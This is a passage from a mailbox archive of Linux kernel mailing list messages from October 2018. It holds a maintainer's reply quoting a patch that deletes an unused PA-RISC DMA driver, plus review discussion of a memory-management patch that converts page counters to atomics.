-	register_parisc_driver(&ccio_driver);
-}
-- 
2.19.1



From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove the dead ccio-rm-dma driver
Date: Mon, 22 Oct 2018 12:06:20 +0200
Lines: 244
Approved: news@gmane.org
Message-ID: <e46876bd-569e-a4ac-9fac-3a845b1960e1@gmx.de>
References: <20181022095251.5699-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540202660 17928 195.159.176.226 (22 Oct 2018 10:04:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 Oct 2018 10:04:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>, jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 22 12:04:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gEX4J-0004Wv-Fh
	for glk-linux-kernel-4@m.gmane.org; Mon, 22 Oct 2018 12:04:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728082AbeJVSYP (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 22 Oct 2018 14:24:15 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:57473 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727218AbeJVSYP (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 22 Oct 2018 14:24:15 -0400
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MX1hk-1g95bd2fvI-00VwEG; Mon, 22
 Oct 2018 12:06:21 +0200
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MX1hk-1g95bd2fvI-00VwEG; Mon, 22
 Oct 2018 12:06:21 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20181022095251.5699-1-hch@lst.de>
Content-Language: en-US
X-Provags-ID: V03:K1:pFD+DDj3+okMAgjghRWTs6ATzPYINT7tgwx51TDrDngguEGMaD9
 p+e4G7hZzYELBn+HHu1AhYdaRVzr6jRahK2cnvrxl+tNyoi5fLvi6n3vAHGDWzHOugviOSz
 8AmpZrHO84D1mAeuIQqKHCiX9H9zs1CNUXDQu0h0HcIh+ZaLA/vk4gmxu3uINIh94JOmBHZ
 pr8zvmHbOJhxEpQQ8MkbA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:q2anAus386A=:zXMZ31sEXSr8ANqXlTqTlv
 3jzq+kSgGN1BMCA8YQ33KnQN1dCfzhKfqO46K2NjPM2Ni9tQoGdEy+KmGtq/UuYbRniCi4oCO
 2db3C4mQ1l17fAYlEtf0Zbu5T9Z9db1uaBVDHQXyuku2HKx/5u5MAcSFMVGNiPQJlXUZVz/7q
 DaVuJO7WBDtdJtc7KEmdb9PU0gTZGsmDkr3jCD+Tvy4zRsIzSSup3RMMgSKOerMuIFljUNEuS
 f+R4E2XEhxxYGoX8O6bIjVucJrwDyGalciLTEVMRoVHq9nq/4B6cDeqWvT5jioQRGabRoCIji
 laRjl184BzNlw/LwSo9ez0goUWPeEDqp2SavUcbhgYQGA4wvh262rhQrQz8JVXMouxQw42uoC
 v47iLd0eUSpxG3BOn+wTMKtdHQEhaODcAdaVtFQN2xG86uiqHMdoeEomufVRi3VJ3n8YjyJGS
 4QsjlYb5aHbsWLj47WTOUyMlR8yTEAf51oqe/LdaTgDvky4+9VCwlueKVZWF1QtHsNcfOVJqo
 5Pdo5VsqwPtGYLQXZ4xbRd91GfxMoX4zbOHVECOwRfwEqNH9Ad5+4UelMKq4PHiMkJZDKPAjZ
 xsQqvVJ6io4wCbdrw9xdi33glrxprRId3SzQYQeJR3R6UT5xo8BGZJqx/tXmVMlK24Z+UmlJA
 5GN+i/w4kfEC4t7dJD525hxwhHqDsMFWV/klo2Fq0NAfaFFHxLdZv2FCUD1y/edP/5mn4igx2
 sst1h54oSBoM/Niy5dwunF5oi1GLU+PuuIkTumMKBoQzStOF+zlvKryUcHM8tcUG4QuwFOJ5 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2905244 gmane.linux.ports.parisc:29211
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2905244>

On 22.10.2018 11:52, Christoph Hellwig wrote:
> This driver has never been wired up due to the life of the Linux
> git tree, and has severely bitrotted.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Thanks Christoph!

I've already queued it up in the parisc for-next git tree:
https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git/log/?h=for-next

Helge

> ---
>  drivers/parisc/Makefile      |   3 -
>  drivers/parisc/ccio-rm-dma.c | 202 -----------------------------------
>  2 files changed, 205 deletions(-)
>  delete mode 100644 drivers/parisc/ccio-rm-dma.c
> 
> diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
> index 3cd5e6cb8478..99fa6a89e0b9 100644
> --- a/drivers/parisc/Makefile
> +++ b/drivers/parisc/Makefile
> @@ -8,9 +8,6 @@
>  obj-$(CONFIG_IOSAPIC)		+= iosapic.o
>  obj-$(CONFIG_IOMMU_SBA)		+= sba_iommu.o
>  obj-$(CONFIG_PCI_LBA)		+= lba_pci.o
> -
> -# Only use one of them: ccio-rm-dma is for PCX-W systems *only*
> -# obj-$(CONFIG_IOMMU_CCIO)	+= ccio-rm-dma.o
>  obj-$(CONFIG_IOMMU_CCIO)	+= ccio-dma.o
>  
>  obj-$(CONFIG_GSC)		+= gsc.o
> diff --git a/drivers/parisc/ccio-rm-dma.c b/drivers/parisc/ccio-rm-dma.c
> deleted file mode 100644
> index df7932af48b7..000000000000
> --- a/drivers/parisc/ccio-rm-dma.c
> +++ /dev/null
> @@ -1,202 +0,0 @@
> -/*
> - * ccio-rm-dma.c:
> - *	DMA management routines for first generation cache-coherent machines.
> - *	"Real Mode" operation refers to U2/Uturn chip operation. The chip
> - *      can perform coherency checks w/o using the I/O MMU. That's all we
> - *      need until support for more than 4GB phys mem is needed.
> - * 
> - *	This is the trivial case - basically what x86 does.
> - *
> - *	Drawbacks of using Real Mode are:
> - *	o outbound DMA is slower since one isn't using the prefetching
> - *	  U2 can do for outbound DMA.
> - *	o Ability to do scatter/gather in HW is also lost.
> - *      o only known to work with PCX-W processor. (eg C360)
> - *        (PCX-U/U+ are not coherent with U2 in real mode.)
> - *
> - *
> - * This program is free software; you can redistribute it and/or modify
> - * it under the terms of the GNU General Public License as published by
> - * the Free Software Foundation; either version 2 of the License, or
> - * (at your option) any later version.
> - *
> - *
> - * Original version/author:
> - *      CVSROOT=:pserver:anonymous@198.186.203.37:/cvsroot/linux-parisc
> - *      cvs -z3 co linux/arch/parisc/kernel/dma-rm.c
> - *
> - *	(C) Copyright 2000 Philipp Rumpf <prumpf@tux.org>
> - *
> - *
> - * Adopted for The Puffin Group's parisc-linux port by Grant Grundler.
> - *	(C) Copyright 2000 Grant Grundler <grundler@puffin.external.hp.com>
> - *	
> - */
> -
> -#include <linux/types.h>
> -#include <linux/init.h>
> -#include <linux/mm.h>
> -#include <linux/string.h>
> -#include <linux/pci.h>
> -#include <linux/gfp.h>
> -
> -#include <linux/uaccess.h>
> -
> -#include <asm/io.h>
> -#include <asm/hardware.h>
> -#include <asm/page.h>
> -
> -/* Only chose "ccio" since that's what HP-UX calls it....
> -** Make it easier for folks to migrate from one to the other :^)
> -*/
> -#define MODULE_NAME "ccio"
> -
> -#define U2_IOA_RUNWAY 0x580
> -#define U2_BC_GSC     0x501
> -#define UTURN_IOA_RUNWAY 0x581
> -#define UTURN_BC_GSC     0x502
> -
> -#define IS_U2(id) ( \
> -    (((id)->hw_type == HPHW_IOA) && ((id)->hversion == U2_IOA_RUNWAY)) || \
> -    (((id)->hw_type == HPHW_BCPORT) && ((id)->hversion == U2_BC_GSC))  \
> -)
> -
> -#define IS_UTURN(id) ( \
> -    (((id)->hw_type == HPHW_IOA) && ((id)->hversion == UTURN_IOA_RUNWAY)) || \
> -    (((id)->hw_type == HPHW_BCPORT) && ((id)->hversion == UTURN_BC_GSC))  \
> -)
> -
> -static int ccio_dma_supported( struct pci_dev *dev, u64 mask)
> -{
> -	if (dev == NULL) {
> -		printk(KERN_ERR MODULE_NAME ": EISA/ISA/et al not supported\n");
> -		BUG();
> -		return(0);
> -	}
> -
> -	/* only support 32-bit devices (ie PCI/GSC) */
> -	return((int) (mask >= 0xffffffffUL));
> -}
> -
> -
> -static void *ccio_alloc_consistent(struct pci_dev *dev, size_t size,
> -				 dma_addr_t *handle)
> -{
> -	void *ret;
> -	
> -	ret = (void *)__get_free_pages(GFP_ATOMIC, get_order(size));
> -
> -	if (ret != NULL) {
> -		memset(ret, 0, size);
> -		*handle = virt_to_phys(ret);
> -	}
> -	return ret;
> -}
> -	
> -static void ccio_free_consistent(struct pci_dev *dev, size_t size,
> -			       void *vaddr, dma_addr_t handle)
> -{
> -	free_pages((unsigned long)vaddr, get_order(size));
> -}
> -
> -static dma_addr_t ccio_map_single(struct pci_dev *dev, void *ptr, size_t size,
> -			  int direction)
> -{
> -	return virt_to_phys(ptr);
> -}
> -
> -static void ccio_unmap_single(struct pci_dev *dev, dma_addr_t dma_addr,
> -			    size_t size, int direction)
> -{
> -	/* Nothing to do */
> -}
> -
> -
> -static int ccio_map_sg(struct pci_dev *dev, struct scatterlist *sglist, int nents, int direction)
> -{
> -	int tmp = nents;
> -
> -        /* KISS: map each buffer separately. */
> -	while (nents) {
> -		sg_dma_address(sglist) = ccio_map_single(dev, sglist->address, sglist->length, direction);
> -		sg_dma_len(sglist) = sglist->length;
> -		nents--;
> -		sglist++;
> -	}
> -
> -	return tmp;
> -}
> -
> -
> -static void ccio_unmap_sg(struct pci_dev *dev, struct scatterlist *sglist, int nents, int direction)
> -{
> -#if 0
> -	while (nents) {
> -		ccio_unmap_single(dev, sg_dma_address(sglist), sg_dma_len(sglist), direction);
> -		nents--;
> -		sglist++;
> -	}
> -	return;
> -#else
> -	/* Do nothing (copied from current ccio_unmap_single()  :^) */
> -#endif
> -}
> -
> -
> -static struct pci_dma_ops ccio_ops = {
> -	ccio_dma_supported,
> -	ccio_alloc_consistent,
> -	ccio_free_consistent,
> -	ccio_map_single,
> -	ccio_unmap_single,
> -	ccio_map_sg,
> -	ccio_unmap_sg,
> -	NULL,                   /* dma_sync_single_for_cpu : NOP for U2 */
> -	NULL,                   /* dma_sync_single_for_device : NOP for U2 */
> -	NULL,                   /* dma_sync_sg_for_cpu     : ditto */
> -	NULL,                   /* dma_sync_sg_for_device     : ditto */
> -};
> -
> -
> -/*
> -** Determine if u2 should claim this chip (return 0) or not (return 1).
> -** If so, initialize the chip and tell other partners in crime they
> -** have work to do.
> -*/
> -static int __init
> -ccio_probe(struct parisc_device *dev)
> -{
> -	printk(KERN_INFO "%s found %s at 0x%lx\n", MODULE_NAME,
> -			dev->id.hversion == U2_BC_GSC ? "U2" : "UTurn",
> -			dev->hpa.start);
> -
> -/*
> -** FIXME - should check U2 registers to verify it's really running
> -** in "Real Mode".
> -*/
> -
> -#if 0
> -/* will need this for "Virtual Mode" operation */
> -	ccio_hw_init(ccio_dev);
> -	ccio_common_init(ccio_dev);
> -#endif
> -	hppa_dma_ops = &ccio_ops;
> -	return 0;
> -}
> -
> -static const struct parisc_device_id ccio_tbl[] __initconst = {
> -	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, U2_BC_GSC, 0xc },
> -	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, UTURN_BC_GSC, 0xc },
> -	{ 0, }
> -};
> -
> -static struct parisc_driver ccio_driver __refdata = {
> -	.name =		"U2/Uturn",
> -	.id_table =	ccio_tbl,
> -	.probe =	ccio_probe,
> -};
> -
> -void __init ccio_init(void)
> -{
> -	register_parisc_driver(&ccio_driver);
> -}
> 



From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Newsgroups: gmane.linux.ports.arm.mediatek,gmane.comp.video.dri.devel,gmane.comp.file-systems.ceph.devel,gmane.linux.power-management.general,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.kernel.device-mapper.devel,gmane.comp.freedesktop.xorg.drivers.intel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.kernel,gmane.linux.file-systems.ntfs.devel,gmane.linux.file-systems,gmane.linux.network,gmane.comp.freedesktop.amd-gfx,gmane.linux.nfs,gmane.linux.kernel.mm,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.lsm
Subject: Re: [PATCH] mm: convert totalram_pages, totalhigh_pages and
 managed_pages to atomic.
Date: Mon, 22 Oct 2018 20:11:22 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20181022181122.GK18839@dhcp22.suse.cz>
References: <1540229092-25207-1-git-send-email-arunks@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540231816 12689 195.159.176.226 (22 Oct 2018 18:10:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 Oct 2018 18:10:16 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Mike Snitzer <snitzer-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
 Kemi Wang <kemi.wang-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 "J. Bruce Fields" <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>, linux-sctp-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, Pavel Machek <pavel-+ZI9xUNit7I@public.gmane.org>,
 Christoph Lameter <cl-vYTEC60ixJUAvxtiuMwx3w@public.gmane.org>, "K. Y. Srinivasan" <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Sumit Semwal <sumit.semwal-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>,
 "David \(ChunMing\) Zhou" <David1.Zhou-5C7GfCeVMHo@public.gmane.org>,
 Petr Tesarik <ptesarik-IBi9RG/b67k@public.gmane.org>, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 ceph-devel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
 kasan-dev-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org, Marcos Paulo de Souza <marcos.souza.org-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 "Steven J. Hill" <steven.hill-YGCgFSpz5w/QT0dZR+AlfA@public.gmane.org>,
 David Rientjes <rientjes-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
 Anthony Yznaga <anthony.yznaga-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>, Daniel Vacek <neelx-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Roman Gushchin <guro-b10kYP2dOMg@public.gmane.org>, Len Brown <len.b
To: Arun KS <arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
Original-X-From: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org Mon Oct 22 20:09:55 2018
Return-path: <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Envelope-to: glpam-linux-mediatek@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>)
	id 1gEeeI-0002os-Kx
	for glpam-linux-mediatek@m.gmane.org; Mon, 22 Oct 2018 20:09:54 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=QlJNu2fvSR6HGn16l8fxExXtYTwuVLmVV4OXxwtSCnY=; b=IsM98OpPLbl2w6
	QjtpIoa4dVeurwJa+aleppsHXZlZx2fFev1ACMZKoi9mK7DcZl14VoP0AzX0pfgXgtDRJP5oCd1F7
	DrFkHFLM3/FahUZN16Vrj1IEgpU/CK8UW8zY2AKGxhFGFBCdxfOaWqsQMx2VQgDMnYOr9VVBSIkcA
	H6EjQMmHK8GWLvPRCXohwIMGL1OYH5kjW0MN8rBVpo4uccs2/A7cK01CYS5EJKV/oQZtyjk9SMUxP
	hcssauvhW2kIgc97LXj/JvXfZua09yt6X8jwDi4gvE4u58guLSHFA/RpT4FBqnB4cxs/V7vpLkoyE
	MqdNdOVOzY25Pj+anoBQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gEegE-0001oA-9i; Mon, 22 Oct 2018 18:11:54 +0000
Original-Received: from mx2.suse.de ([195.135.220.15] helo=mx1.suse.de)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gEegA-0001mi-1B; Mon, 22 Oct 2018 18:11:52 +0000
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
 by mx1.suse.de (Postfix) with ESMTP id 9622AAD33;
 Mon, 22 Oct 2018 18:11:36 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1540229092-25207-1-git-send-email-arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181022_111150_384428_95177486 
X-CRM114-Status: GOOD (  10.69  )
X-Spam-Score: -1.3 (-)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-1.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [195.135.220.15 listed in list.dnswl.org]
 1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
X-BeenThere: linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-mediatek.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-mediatek/>
List-Post: <mailto:linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
List-Help: <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-mediatek>, 
 <mailto:linux-mediatek-request-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org?subject=subscribe>
Original-Sender: "Linux-mediatek" <linux-mediatek-bounces-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Errors-To: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.arm.mediatek:15560 gmane.comp.video.dri.devel:240487 gmane.comp.file-systems.ceph.devel:41927 gmane.linux.power-management.general:107409 gmane.linux.ports.parisc:29212 gmane.linux.kernel:2905585 gmane.comp.security.firewalls.netfilter.devel:74328 gmane.linux.kernel.device-mapper.devel:35185 gmane.comp.freedesktop.xorg.drivers.intel:173043 gmane.linux.drivers.video-input-infrastructure:137430 gmane.linux.ports.arm.kernel:680978 gmane.linux.file-systems.ntfs.devel:4467 gmane.linux.file-systems:142014 gmane.linux.network:561898 gmane.comp.freedesktop.amd-gfx:27341 gmane.linux.nfs:88031 gmane.linux.kernel.mm:205815 gmane.linux.ports.ppc64.devel:164795 gmane.linux.kernel.kexec:21696 gmane.linux.kernel.lsm:40827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.mediatek/15560>

On Mon 22-10-18 22:53:22, Arun KS wrote:
> Remove managed_page_count_lock spinlock and instead use atomic
> variables.

I assume this has been auto-generated. If yes, it would be better to
mention the script so that people can review it and regenerate for
comparision. Such a large change is hard to review manually.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arun Sudhilal <getarunks-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.ports.arm.mediatek,gmane.comp.video.dri.devel,gmane.comp.file-systems.ceph.devel,gmane.linux.power-management.general,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.kernel.device-mapper.devel,gmane.comp.freedesktop.xorg.drivers.intel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.kernel,gmane.linux.file-systems.ntfs.devel,gmane.linux.file-systems,gmane.linux.network,gmane.comp.freedesktop.amd-gfx,gmane.linux.nfs,gmane.linux.kernel.mm,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.lsm
Subject: Re: [PATCH] mm: convert totalram_pages, totalhigh_pages and
 managed_pages to atomic.
Date: Tue, 23 Oct 2018 10:16:51 +0530
Lines: 31
Approved: news@gmane.org
Message-ID: <CABOM9Zpq41Ox8wQvsNjgfCtwuqh6CnyeW1B09DWa1TQN+JKf0w@mail.gmail.com>
References: <1540229092-25207-1-git-send-email-arunks@codeaurora.org>
 <20181022181122.GK18839@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540269943 11748 195.159.176.226 (23 Oct 2018 04:45:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 04:45:43 +0000 (UTC)
Cc: snitzer-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org, kemi.wang-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org, bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org,
 linux-sctp-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org, pavel-+ZI9xUNit7I@public.gmane.org, cl-vYTEC60ixJUAvxtiuMwx3w@public.gmane.org,
 kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, sumit.semwal-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, David1.Zhou-5C7GfCeVMHo@public.gmane.org,
 ptesarik-IBi9RG/b67k@public.gmane.org, mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org, ceph-devel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, kasan-dev-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org, marcos.souza.org-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 steven.hill-YGCgFSpz5w/QT0dZR+AlfA@public.gmane.org, rientjes-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, anthony.yznaga-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org,
 neelx-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, guro-b10kYP2dOMg@public.gmane.org, len.brown-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 vbabka-AlSwsSmVLrQ@public.gmane.org, linux-um-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, rppt-23VcF4HTsmIX0ybBhKVfKdBPR1lH4CV8@public.gmane.org,
 viro-RmSDqhL/yNMiFSDQTTA3OLVCufUGDwFn@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, trond.myklebust-F/q8l9xzQnoyLce1RVWEUA@public.gmane.org,
 anton-yrGDUoBaLx3QT0dZR+AlfA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, malat-8fiUuRrzOP0dnm+yROfE0A@public.gmane.org,
 gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, rdunlap-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, rjw-LthD3rsA81gm4RdzfppkhA@public.gmane.org,
 linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, cyrilbur@gma
To: mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org
Original-X-From: linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org Tue Oct 23 06:45:21 2018
Return-path: <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
Envelope-to: glpam-linux-mediatek@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mediatek-bounces+glpam-linux-mediatek=m.gmane.org-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>)
	id 1gEoZF-0002fH-1s
	for glpam-linux-mediatek@m.gmane.org; Tue, 23 Oct 2018 06:45:21 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
